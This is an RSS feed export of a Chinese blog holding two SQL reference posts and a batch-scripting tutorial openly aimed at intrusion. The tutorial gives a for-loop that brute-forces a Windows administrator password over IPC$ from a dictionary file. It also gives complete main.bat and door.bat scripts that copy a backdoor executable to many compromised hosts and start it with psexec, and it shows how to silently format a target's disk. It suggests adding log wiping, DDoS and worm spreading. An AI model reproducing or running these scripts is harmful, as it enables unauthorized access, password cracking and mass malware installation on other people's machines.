﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>BlogJava-牧月人-文章分类-DataBase</title><link>http://www.blogjava.net/zgghc/category/12610.html</link><description>天冷 冷不了我的心 
心痛 痛不断我的情 
  情深 深得像海  
   海 仰望蓝天 
   天 一轮明月 
   月 为我而牧 </description><language>zh-cn</language><lastBuildDate>Tue, 27 Feb 2007 21:14:16 GMT</lastBuildDate><pubDate>Tue, 27 Feb 2007 21:14:16 GMT</pubDate><ttl>60</ttl><item><title>SQL 数据库中的函数</title><link>http://www.blogjava.net/zgghc/articles/56688.html</link><dc:creator>牧月人</dc:creator><author>牧月人</author><pubDate>Wed, 05 Jul 2006 04:11:00 GMT</pubDate><guid>http://www.blogjava.net/zgghc/articles/56688.html</guid><wfw:comment>http://www.blogjava.net/zgghc/comments/56688.html</wfw:comment><comments>http://www.blogjava.net/zgghc/articles/56688.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/zgghc/comments/commentRss/56688.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/zgghc/services/trackbacks/56688.html</trackback:ping><description><![CDATA[----统计函数---- 
AVG　　--求平均值 
COUNT　 --统计数目
MAX　　--求最大值
MIN　　--求最小值
SUM　　--求和

--AVG
use pangu
select avg(e_wage) as dept_avgWage
from employee
group by dept_id

--MAX
--求工资最高的员工姓名 
use pangu 
select e_name 
from employee 
where e_wage =C
(select max(e_wage)
　from employee)

--STDEV()
--STDEV()函数返回表达式中所有数据的标准差

--STDEVP()
--STDEVP()函数返回总体标准差
--VAR()
--VAR()函数返回表达式中所有值的统计变异数
--VARP()
--VARP()函数返回总体变异数

----算术函数----
/***三角函数***/ 
SIN(float_expression) --返回以弧度表示的角的正弦
COS(float_expression) --返回以弧度表示的角的余弦
TAN(float_expression) --返回以弧度表示的角的正切
COT(float_expression) --返回以弧度表示的角的余切
/***反三角函数***/
ASIN(float_expression) --返回正弦是FLOAT 值的以弧度表示的角 
ACOS(float_expression) --返回余弦是FLOAT 值的以弧度表示的角
ATAN(float_expression) --返回正切是FLOAT 值的以弧度表示的角
ATAN2(float_expression1,float_expression2)
　　　　--返回正切是float_expression1 /float_expres-sion2的以弧度表示的角
DEGREES(numeric_expression)
　　　　　　　　　　　 --把弧度转换为角度返回与表达式相同的数据类型可为
　　　　--INTEGER/MONEY/REAL/FLOAT 类型
RADIANS(numeric_expression) --把角度转换为弧度返回与表达式相同的数据类型可为
　　　　--INTEGER/MONEY/REAL/FLOAT 类型
EXP(float_expression)　--返回表达式的指数值
LOG(float_expression)　--返回表达式的自然对数值
LOG10(float_expression)--返回表达式的以10 为底的对数值
SQRT(float_expression) --返回表达式的平方根
/***取近似值函数***/
CEILING(numeric_expression)　--返回>=表达式的最小整数返回的数据类型与表达式相同可为
　　　　--INTEGER/MONEY/REAL/FLOAT 类型
FLOOR(numeric_expression)　　--返回<=表达式的最小整数返回的数据类型与表达式相同可为 
　　　　--INTEGER/MONEY/REAL/FLOAT 类型
ROUND(numeric_expression)　　--返回以integer_expression 为精度的四舍五入值返回的数据
　　　　--类型与表达式相同可为INTEGER/MONEY/REAL/FLOAT 类型
ABS(numeric_expression)　　　--返回表达式的绝对值返回的数据类型与表达式相同可为
　　　　--INTEGER/MONEY/REAL/FLOAT 类型
SIGN(numeric_expression)　　 --测试参数的正负号返回0 零值1 正数或-1 负数返回的数据类型
　　　　--与表达式相同可为INTEGER/MONEY/REAL/FLOAT 类型
PI()　　　 --返回值为π 即3.1415926535897936
RAND([integer_expression])　 --用任选的[integer_expression]做种子值得出0-1 间的随机浮点数

----字符串函数----
ASCII()　　　　 --函数返回字符表达式最左端字符的ASCII 码值
CHAR()　 --函数用于将ASCII 码转换为字符
　　--如果没有输入0 ~ 255 之间的ASCII 码值CHAR 函数会返回一个NULL 值
LOWER()　 --函数把字符串全部转换为小写
UPPER()　 --函数把字符串全部转换为大写
STR()　 --函数把数值型数据转换为字符型数据
LTRIM()　 --函数把字符串头部的空格去掉
RTRIM()　 --函数把字符串尾部的空格去掉
LEFT(),RIGHT(),SUBSTRING()　--函数返回部分字符串
CHARINDEX(),PATINDEX()　--函数返回字符串中某个指定的子串出现的开始位置
SOUNDEX()　--函数返回一个四位字符码C
　　--SOUNDEX函数可用来查找声音相似的字符串但SOUNDEX函数对数字和汉字均只返回0 值
DIFFERENCE()　　--函数返回由SOUNDEX 函数返回的两个字符表达式的值的差异
　　--0 两个SOUNDEX 函数返回值的第一个字符不同
　　--1 两个SOUNDEX 函数返回值的第一个字符相同
　　--2 两个SOUNDEX 函数返回值的第一二个字符相同
　　--3 两个SOUNDEX 函数返回值的第一二三个字符相同
　　--4 两个SOUNDEX 函数返回值完全相同 
　　　　　　　　　　　　　　　　　　　 

QUOTENAME()　--函数返回被特定字符括起来的字符串
/*select quotename(’abc’, ’{’) quotename(’abc’)
运行结果如下
----------------------------------{
{abc} [abc]*/

REPLICATE()　　 --函数返回一个重复character_expression 指定次数的字符串
/*select replicate(’abc’, 3) replicate( ’abc’, -2)
运行结果如下
----------- -----------
abcabcabc NULL*/

REVERSE()　　　 --函数将指定的字符串的字符排列顺序颠倒
REPLACE()　　　 --函数返回被替换了指定子串的字符串
/*select replace(’abc123g’, ’123’, ’def’)
运行结果如下
----------- -----------
abcdefg*/

SPACE()　 --函数返回一个有指定长度的空白字符串
STUFF()　 --函数用另一子串替换字符串指定位置长度的子串

----数据类型转换函数----
CAST() 函数语法如下
CAST() (<expression> AS <data_ type>[ length ])
CONVERT() 函数语法如下
CONVERT() (<data_ type>[ length ], <expression> [, style]) 

select cast(100+99 as char) convert(varchar(12), getdate())
运行结果如下
------------------------------ ------------ 
199　 Jan 15 2000 

----日期函数----
DAY()　 --函数返回date_expression 中的日期值
MONTH()　 --函数返回date_expression 中的月份值
YEAR()　 --函数返回date_expression 中的年份值
DATEADD(<datepart> ,<number> ,<date>) 
　　--函数返回指定日期date 加上指定的额外日期间隔number 产生的新日期
DATEDIFF(<datepart> ,<number> ,<date>) 
　　--函数返回两个指定日期在datepart 方面的不同之处
DATENAME(<datepart> , <date>)　--函数以字符串的形式返回日期的指定部分
DATEPART(<datepart> , <date>)　--函数以整数值的形式返回日期的指定部分
GETDATE()　--函数以DATETIME 的缺省格式返回系统当前的日期和时间

----系统函数---- 
APP_NAME()　　　--函数返回当前执行的应用程序的名称 
<img src ="http://www.blogjava.net/zgghc/aggbug/56688.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/zgghc/" target="_blank">牧月人</a> 2006-07-05 12:11 <a href="http://www.blogjava.net/zgghc/articles/56688.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>SQL数据库语句大全集锦</title><link>http://www.blogjava.net/zgghc/articles/56687.html</link><dc:creator>牧月人</dc:creator><author>牧月人</author><pubDate>Wed, 05 Jul 2006 04:10:00 GMT</pubDate><guid>http://www.blogjava.net/zgghc/articles/56687.html</guid><wfw:comment>http://www.blogjava.net/zgghc/comments/56687.html</wfw:comment><comments>http://www.blogjava.net/zgghc/articles/56687.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.blogjava.net/zgghc/comments/commentRss/56687.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/zgghc/services/trackbacks/56687.html</trackback:ping><description><![CDATA[--语 句　　　　　　　　　　　　　　功 能
--数据操作
SELECT　　　--从数据库表中检索数据行和列
INSERT　　　--向数据库表添加新数据行
DELETE　　　--从数据库表中删除数据行
UPDATE　　　--更新数据库表中的数据 
--数据定义 
CREATE TABLE　　--创建一个数据库表
DROP TABLE　　 --从数据库中删除表 
ALTER TABLE　　 --修改数据库表结构
CREATE VIEW　　 --创建一个视图 
DROP VIEW　　 --从数据库中删除视图
CREATE INDEX　　--为数据库表创建一个索引
DROP INDEX　　 --从数据库中删除索引 
CREATE PROCEDURE　 --创建一个存储过程 
DROP PROCEDURE　　--从数据库中删除存储过程
CREATE TRIGGER　　--创建一个触发器 
DROP TRIGGER　　--从数据库中删除触发器
CREATE SCHEMA　　--向数据库添加一个新模式
DROP SCHEMA　　 --从数据库中删除一个模式
CREATE DOMAIN　　--创建一个数据值域
ALTER DOMAIN　　--改变域定义
DROP DOMAIN　　 --从数据库中删除一个域
--数据控制 
GRANT　　　--授予用户访问权限
DENY　　　--拒绝用户访问 
REVOKE　　　--解除用户访问权限
--事务控制
COMMIT　　　--结束当前事务
ROLLBACK　　 --中止当前事务 
SET TRANSACTION　　--定义当前事务数据访问特征
--程序化SQL 
DECLARE　　　--为查询设定游标 
EXPLAN　　　--为查询描述数据访问计划
OPEN　　　--检索查询结果打开一个游标
FETCH　　　--检索一行查询结果 
CLOSE　　　--关闭游标
PREPARE　　　--为动态执行准备SQL 语句 
EXECUTE　　　--动态地执行SQL 语句
DESCRIBE　　 --描述准备好的查询 
---局部变量
declare @id char(10) 
--set @id = ’10010001’ 
select @id = ’10010001’
---全局变量 
---必须以@@开头

--IF ELSE
declare @x int @y int @z int
select @x = 1 @y = 2 @z=3
if @x > @y
print ’x > y’ --打印字符串’x > y’
else if @y > @z 
print ’y > z’ 
else print ’z > y’

--CASE 
use pangu 
update employee
set e_wage =
case
　when job_level = ’1’ then e_wage*1.08
　when job_level = ’2’ then e_wage*1.07
　when job_level = ’3’ then e_wage*1.06
　else e_wage*1.05
end 
--WHILE CONTINUE BREAK
declare @x int @y int @c int
select @x = 1 @y=1
while @x < 3 
begin
　print @x --打印变量x 的值
　while @y < 3 
　 begin
　　select @c = 100*@x + @y
　　print @c --打印变量c 的值
　　select @y = @y + 1
　 end
　select @x = @x + 1
　select @y = 1
end 
--WAITFOR 
--例 等待1 小时2 分零3 秒后才执行SELECT 语句
waitfor delay ’01:02:03’
select * from employee
--例 等到晚上11 点零8 分后才执行SELECT 语句
waitfor time ’23:08:00’
select * from employee 
***SELECT*** 

　 select *(列名) from table_name(表名) where column_name operator value 
　 ex:(宿主) 
　select * from stock_information where stockid　 = str(nid)
　　 stockname = ’str_name’
　　 stockname like ’% find this %’
　　 stockname like ’[a-zA-Z]%’ --------- ([]指定值的范围) 
　　 stockname like ’[^F-M]%’　 --------- (^排除指定范围) 
　　 --------- 只能在使用like关键字的where子句中使用通配符)
　　 or stockpath = ’stock_path’
　　 or stocknumber < 1000
　　 and stockindex = 24
　　 not stocksex = ’man’
　　 stocknumber between 20 and 100
　　 stocknumber in(10,20,30) 
　　 order by stockid desc(asc) --------- 排序，desc-降序，asc-升序 
　　 order by 1,2 --------- by列号
　　 stockname = (select stockname from stock_information　where stockid　= 4) 
　　 --------- 子查询 http://www.acnow.net/ oYIpsxSPAIC
　　 --------- 除非能确保内层select只返回一个行的值，
　　 --------- 否则应在外层where子句中用一个in限定符 
　select distinct column_name form table_name --------- distinct指定检索独有的列值，不重复
　select stocknumber ,"stocknumber + 10" = stocknumber + 10 from table_name 
select stockname , "stocknumber" = count(*) from table_name group by stockname 
　　　　　　　　--------- group by 将表按行分组,指定列中有相同的值 
　　　　　having count(*) = 2　---------　having选定指定的组
　select *　from table1, table2　　
　where table1.id *= table2.id -------- 左外部连接，table1中有的而table2中没有得以null表示
　　 table1.id =* table2.id -------- 右外部连接 

　select stockname from table1 
　union [all]　-----　union合并查询结果集，all-保留重复行 
　select stockname from table2

***insert***

　insert into table_name (Stock_name,Stock_number) value ("xxx","xxxx")
　　　　　　　value (select Stockname , Stocknumber from Stock_table2)---value为select语句

***update***

　update table_name set Stockname = "xxx" [where Stockid = 3]
　　　　 Stockname = default
　　　　 Stockname = null
　　　　 Stocknumber = Stockname + 4

***delete*** 

　delete from table_name where Stockid = 3 
　truncate table_name ----------- 删除表中所有行，仍保持表的完整性 
　drop table table_name --------------- 完全删除表

***alter table*** --- 修改数据库表结构 

　alter table database.owner.table_name add column_name char(2) null ..... 
　sp_help table_name ---- 显示表已有特征
　create table table_name (name char(20), age smallint, lname varchar(30))
　insert into table_name select ......... ----- 实现删除列的方法（创建新表）
　alter table table_name drop constraint Stockname_default ---- 删除Stockname的default约束
<img src ="http://www.blogjava.net/zgghc/aggbug/56687.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/zgghc/" target="_blank">牧月人</a> 2006-07-05 12:10 <a href="http://www.blogjava.net/zgghc/articles/56687.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>批处理教程</title><link>http://www.blogjava.net/zgghc/articles/55686.html</link><dc:creator>牧月人</dc:creator><author>牧月人</author><pubDate>Thu, 29 Jun 2006 02:24:00 GMT</pubDate><guid>http://www.blogjava.net/zgghc/articles/55686.html</guid><wfw:comment>http://www.blogjava.net/zgghc/comments/55686.html</wfw:comment><comments>http://www.blogjava.net/zgghc/articles/55686.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/zgghc/comments/commentRss/55686.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/zgghc/services/trackbacks/55686.html</trackback:ping><description><![CDATA[最近对于批处理技术的探讨比较热，也有不少好的批处理程序发布，但是如果没有一定的相关知识恐怕不容易看懂和理解这些批处理文件，也就更谈不上自己动手编写了，古语云：“授人以鱼，不如授人以渔。”因为网上好像并没有一个比较完整的教材,所以抽一点时间写了这片<<简明批处理教程>>给新手朋友们.也献给所有为实现网络的自由与共享而努力的朋友们.

批处理文件是无格式的文本文件，它包含一条或多条命令。它的文件扩展名为 .bat 或 .cmd。在命令提示下键入批处理文件的名称，或者双击该批处理文件，系统就会调用Cmd.exe按照该文件中各个命令出现的顺序来逐个运行它们。使用批处理文件（也被称为批处理程序或脚本），可以简化日常或重复性任务。当然我们的这个版本的主要内容是介绍批处理在入侵中一些实际运用，例如我们后面要提到的用批处理文件来给系统打补丁、批量植入后门程序等。下面就开始我们批处理学习之旅吧。

一.简单批处理内部命令简介
1.Echo 命令
打开回显或关闭请求回显功能，或显示消息。如果没有任何参数，echo 命令将显示当前回显设置。
语法
echo [{on|off}] [message]
Sample：@echo off / echo hello world
在实际应用中我们会把这条命令和重定向符号（也称为管道符号，一般用> >> ^）结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。

2.@ 命令
表示不显示@后面的命令，在入侵过程中（例如使用批处理来格式化敌人的硬盘）自然不能让对方看到你使用的命令啦。
Sample：@echo off
@echo Now initializing the program,please wait a minite...
@format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的，可喜的是微软留了个autoset这个参数给我们，效果和/y是一样的。)

3.Goto 命令
指定跳转到标签，找到标签后，程序将处理从下一行开始的命令。
语法：goto label （label是参数，指定所要转向的批处理程序中的行。） 
Sample：
if {%1}=={} goto noparms
if {%2}=={} goto noparms（如果这里的if、%1、%2你不明白的话，先跳过去，后面会有详细的解释。）
@Rem check parameters if null show usage
:noparms
echo Usage: monitor.bat ServerIP PortNumber
goto end
标签的名字可以随便起，但是最好是有意义的字母啦，字母前加个：用来表示这个字母是标签，goto命令就是根据这个：来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。

4.Rem 命令
注释命令，在C语言中相当与/*--------*/,它并不会被执行，只是起一个注释的作用，便于别人阅读和你自己日后修改。
Rem Message
Sample：@Rem Here is the description.

5.Pause 命令
运行 Pause 命令时，将显示下面的消息： 
Press any key to continue . . . 
Sample：
@echo off 
:begin 
copy a:*.* d：\back
echo Please put a new disk into driver A 
pause 
goto begin 
在这个例子中，驱动器 A 中磁盘上的所有文件均复制到d:\back中。显示的注释提示您将另一张磁盘放入驱动器 A 时，pause 命令会使程序挂起，以便您更换磁盘，然后按任意键继续处理。

6.Call 命令
从一个批处理程序调用另一个批处理程序，并且不终止父批处理程序。call 命令接受用作调用目标的标签。如果在脚本或批处理文件外使用 Call，它将不会在命令行起作用。
语法
call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]
参数
[Drive:}[Path] FileName 
指定要调用的批处理程序的位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名。

7.start 命令
调用外部程序，所有的DOS命令和命令行程序都可以由start命令来调用。
入侵常用参数：
MIN 开始时窗口最小化
SEPARATE 在分开的空间内开始 16 位 Windows 程序
HIGH 在 HIGH 优先级类别开始应用程序
REALTIME 在 REALTIME 优先级类别开始应用程序
WAIT 启动应用程序并等候它结束
parameters 这些为传送到命令/程序的参数
执行的应用程序是 32-位 GUI 应用程序时，CMD.EXE 不等应用程序终止就返回命令提示。如果在命令脚本内执行，该新行为则不会发生。
8.choice 命令
choice 使用此命令可以让用户输入一个字符，从而运行不同的命令。使用时应该加/c:参数，c:后应写提示可输入的字符，之间无空格。它的返回码为1234……
如: choice /c:dme defrag,mem,end
将显示
defrag,mem,end[D,M,E]?
Sample：
Sample.bat的内容如下: 
@echo off 
choice /c:dme defrag,mem,end 
if errorlevel 3 goto defrag （应先判断数值最高的错误码）
if errorlevel 2 goto mem 
if errotlevel 1 goto end

:defrag 
c:\dos\defrag 
goto end 
:mem 
mem 
goto end 
:end 
echo good bye

此文件运行后，将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ，然后if语句将作出判断，d表示执行标号为defrag的程序段，m表示执行标号为mem的程序段，e表示执行标号为end的程序段，每个程序段最后都以goto end将程序跳到end标号处，然后程序将显示good bye，文件结束。

9.If 命令

if 表示将判断是否符合规定的条件，从而决定执行不同的命令。 有三种格式: 
1、if "参数" == "字符串" 　待执行的命令 
参数如果等于指定的字符串，则条件成立，运行命令，否则运行下一句。(注意是两个等号）
如if "%1"=="a" format a: 
if {%1}=={} goto noparms
if {%2}=={} goto noparms

2、if exist 文件名　 待执行的命令 
如果有指定的文件，则条件成立，运行命令，否则运行下一句。
如if exist config.sys edit config.sys 

3、if errorlevel / if not errorlevel 数字　 待执行的命令 
如果返回码等于指定的数字，则条件成立，运行命令，否则运行下一句。
如if errorlevel 2 goto x2 　
DOS程序运行时都会返回一个数字给DOS，称为错误码errorlevel或称返回码，常见的返回码为0、1。

10.for 命令
for 命令是一个比较复杂的命令，主要用于参数在指定的范围内循环执行命令。
在批处理文件中使用 FOR 命令时，指定变量请使用 %%variable

for {%variable|%%variable} in (set) do command [ CommandLineOptions]
%variable 指定一个单一字母可替换的参数。
(set) 指定一个或一组文件。可以使用通配符。
command 指定对每个文件执行的命令。
command-parameters 为特定命令指定参数或命令行开关。
在批处理文件中使用 FOR 命令时，指定变量请使用 %%variable
而不要用 %variable。变量名称是区分大小写的，所以 %i 不同于 %I

如果命令扩展名被启用，下列额外的 FOR 命令格式会受到
支持:

FOR /D %variable IN (set) DO command [command-parameters]

如果集中包含通配符，则指定与目录名匹配，而不与文件
名匹配。

FOR /R [[drive:]path] %variable IN (set) DO command [command-

检查以 [drive:]path 为根的目录树，指向每个目录中的
FOR 语句。如果在 /R 后没有指定目录，则使用当前
目录。如果集仅为一个单点(.)字符，则枚举该目录树。

FOR /L %variable IN (start,step,end) DO command [command-para

该集表示以增量形式从开始到结束的一个数字序列。
因此，(1,1,5) 将产生序列 1 2 3 4 5，(5,-1,1) 将产生
序列 (5 4 3 2 1)。

FOR /F ["options"] %variable IN (file-set) DO command 
FOR /F ["options"] %variable IN ("string") DO command 
FOR /F ["options"] %variable IN ('command') DO command


或者，如果有 usebackq 选项:

FOR /F ["options"] %variable IN (file-set) DO command 
FOR /F ["options"] %variable IN ("string") DO command 
FOR /F ["options"] %variable IN ('command') DO command 

filenameset 为一个或多个文件名。继续到 filenameset 中的
下一个文件之前，每份文件都已被打开、读取并经过处理。
处理包括读取文件，将其分成一行行的文字，然后将每行
解析成零或更多的符号。然后用已找到的符号字符串变量值
调用 For 循环。以默认方式，/F 通过每个文件的每一行中分开
的第一个空白符号。跳过空白行。您可通过指定可选 "options"
参数替代默认解析操作。这个带引号的字符串包括一个或多个
指定不同解析选项的关键字。这些关键字为:

eol=c - 指一个行注释字符的结尾(就一个)
skip=n - 指在文件开始时忽略的行数。
delims=xxx - 指分隔符集。这个替换了空格和跳格键的
默认分隔符集。
tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代
的 for 本身。这会导致额外变量名称的
格式为一个范围。通过 nth 符号指定 m
符号字符串中的最后一个字符星号，
那么额外的变量将在最后一个符号解析之
分配并接受行的保留文本。
usebackq - 指定新语法已在下类情况中使用:
在作为命令执行一个后引号的字符串并且
引号字符为文字字符串命令并允许在 fi
中使用双引号扩起文件名称。

sample1:
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command

会分析 myfile.txt 中的每一行，忽略以分号打头的那些行，将
每行中的第二个和第三个符号传递给 for 程序体；用逗号和/或
空格定界符号。请注意，这个 for 程序体的语句引用 %i 来
取得第二个符号，引用 %j 来取得第三个符号，引用 %k
来取得第三个符号后的所有剩余符号。对于带有空格的文件
名，您需要用双引号将文件名括起来。为了用这种方式来使
用双引号，您还需要使用 usebackq 选项，否则，双引号会
被理解成是用作定义某个要分析的字符串的。

%i 专门在 for 语句中得到说明，%j 和 %k 是通过
tokens= 选项专门得到说明的。您可以通过 tokens= 一行
指定最多 26 个符号，只要不试图说明一个高于字母 'z' 或
'Z' 的变量。请记住，FOR 变量是单一字母、分大小写和全局的；
同时不能有 52 个以上都在使用中。

您还可以在相邻字符串上使用 FOR /F 分析逻辑；方法是，
用单引号将括号之间的 filenameset 括起来。这样，该字符
串会被当作一个文件中的一个单一输入行。

最后，您可以用 FOR /F 命令来分析命令的输出。方法是，将
括号之间的 filenameset 变成一个反括字符串。该字符串会
被当作命令行，传递到一个子 CMD.EXE，其输出会被抓进
内存，并被当作文件分析。因此，以下例子:

FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i

会枚举当前环境中的环境变量名称。

另外，FOR 变量参照的替换已被增强。您现在可以使用下列
选项语法:

~I - 删除任何引号(")，扩充 %I
%~fI - 将 %I 扩充到一个完全合格的路径名
%~dI - 仅将 %I 扩充到一个驱动器号
%~pI - 仅将 %I 扩充到一个路径
%~nI - 仅将 %I 扩充到一个文件名
%~xI - 仅将 %I 扩充到一个文件扩展名
%~sI - 扩充的路径只含有短名
%~aI - 将 %I 扩充到文件的文件属性
%~tI - 将 %I 扩充到文件的日期/时间
%~zI - 将 %I 扩充到文件的大小
%~$PATH:I - 查找列在路径环境变量的目录，并将 %I 扩充
到找到的第一个完全合格的名称。如果环境变量
未被定义，或者没有找到文件，此组合键会扩充
空字符串

可以组合修饰符来得到多重结果:

%~dpI - 仅将 %I 扩充到一个驱动器号和路径
%~nxI - 仅将 %I 扩充到一个文件名和扩展名
%~fsI - 仅将 %I 扩充到一个带有短名的完整路径名
%~dp$PATH:i - 查找列在路径环境变量的目录，并将 %I 扩充
到找到的第一个驱动器号和路径。
%~ftzaI - 将 %I 扩充到类似输出线路的 DIR
在以上例子中，%I 和 PATH 可用其他有效数值代替。%~ 语法
用一个有效的 FOR 变量名终止。选取类似 %I 的大写变量名
比较易读，而且避免与不分大小写的组合键混淆。

以上是MS的官方帮助，下面我们举几个例子来具体说明一下For命令在入侵中的用途。

sample2：

利用For命令来实现对一台目标Win2k主机的暴力密码破解。
我们用net use \\ip\ipc$ "password" /u:"administrator"来尝试这和目标主机进行连接，当成功时记下密码。
最主要的命令是一条：for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator"
用i%来表示admin的密码，在dict.txt中这个取i%的值用net use 命令来连接。然后将程序运行结果传递给find命令－－
for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator"|find ":命令成功完成">>D:\ok.txt ，这样就ko了。

sample3：

你有没有过手里有大量肉鸡等着你去种后门＋木马呢？，当数量特别多的时候，原本很开心的一件事都会变得很郁闷：）。文章开头就谈到使用批处理文件，可以简化日常或重复性任务。那么如何实现呢？呵呵，看下去你就会明白了。

主要命令也只有一条：（在批处理文件中使用 FOR 命令时，指定变量使用 %%variable）
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
tokens的用法请参见上面的sample1，在这里它表示按顺序将victim.txt中的内容传递给door.bat中的参数%i %j %k。
而cultivate.bat无非就是用net use命令来建立IPC$连接，并copy木马＋后门到victim，然后用返回码（If errorlever =）来筛选成功种植后门的主机，并echo出来，或者echo到指定的文件。
delims= 表示vivtim.txt中的内容是一空格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样的了。应该根据%%i %%j %%k表示的对象来排列，一般就是 ip password username。
代码雏形：
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------
@echo off
@if "%1"=="" goto usage
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------


------------------- cut here then save as a batchfile(I call it door.bat) -----------------------------
@net use \\%1\ipc$ %3 /u:"%2"
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection …………OK
@copy windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt
@psexec \\%1 c:\winnt\system32\windrv32.exe
@psexec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt 
:failed
@echo Sorry can not connected to the victim.
----------------- cut here then save as a batchfile(I call it door.bat) --------------------------------
这只是一个自动种植后门批处理的雏形，两个批处理和后门程序（Windrv32.exe）,PSexec.exe需放在统一目录下.批处理内容
尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究.



ps:一.如何在批处理文件中使用参数 
批处理中可以使用参数，一般从1%到 9%这九个，当有多个参数时需要用shift来移动，这种情况并不多见，我们就不考虑它了。 
sample1：fomat.bat 
@echo off 
if "%1"=="a" format a: 
:format 
@format a:/q/u/auotset 
@echo please insert another disk to driver A. 
@pause 
@goto fomat 
这个例子用于连续地格式化几张软盘，所以用的时候需在dos窗口输入fomat.bat a，呵呵,好像有点画蛇添足了～^_^ 
sample2： 
当我们要建立一个IPC$连接地时候总要输入一大串命令，弄不好就打错了，所以我们不如把一些固定命令写入一个批处理，把肉鸡地ip password username 当着参数来赋给这个批处理，这样就不用每次都打命令了。 
@echo off 
@net use \\1%\ipc$ "2%" /u:"3%" 注意哦，这里PASSWORD是第二个参数。 
@if errorlevel 1 echo connection failed 
怎么样,使用参数还是比较简单的吧？你这么帅一定学会了^_^.No.3 
二.如何使用组合命令(Compound Command) 

1.& 

Usage：第一条命令 & 第二条命令 [& 第三条命令...] 

用这种方法可以同时执行多条命令，而不管命令是否执行成功 

Sample： 
C:\>dir z: & dir c:\Ex4rch 
The system cannot find the path specified. 
Volume in drive C has no label. 
Volume Serial Number is 0078-59FB 

Directory of c:\Ex4rch 

2002-05-14 23:51 <DIR> . 
2002-05-14 23:51 <DIR> .. 
2002-05-14 23:51 14 sometips.gif 

2.&& 

Usage：第一条命令 && 第二条命令 [&& 第三条命令...] 

用这种方法可以同时执行多条命令，当碰到执行出错的命令后将不执行后面的命令，如果一直没有出错则一直执行完所有命令； 

Sample： 
C:\>dir z: && dir c:\Ex4rch 
The system cannot find the path specified. 

C:\>dir c:\Ex4rch && dir z: 
Volume in drive C has no label. 
Volume Serial Number is 0078-59FB 

Directory of c:\Ex4rch 

2002-05-14 23:55 <DIR> . 
2002-05-14 23:55 &

<img src ="http://www.blogjava.net/zgghc/aggbug/55686.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/zgghc/" target="_blank">牧月人</a> 2006-06-29 10:24 <a href="http://www.blogjava.net/zgghc/articles/55686.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>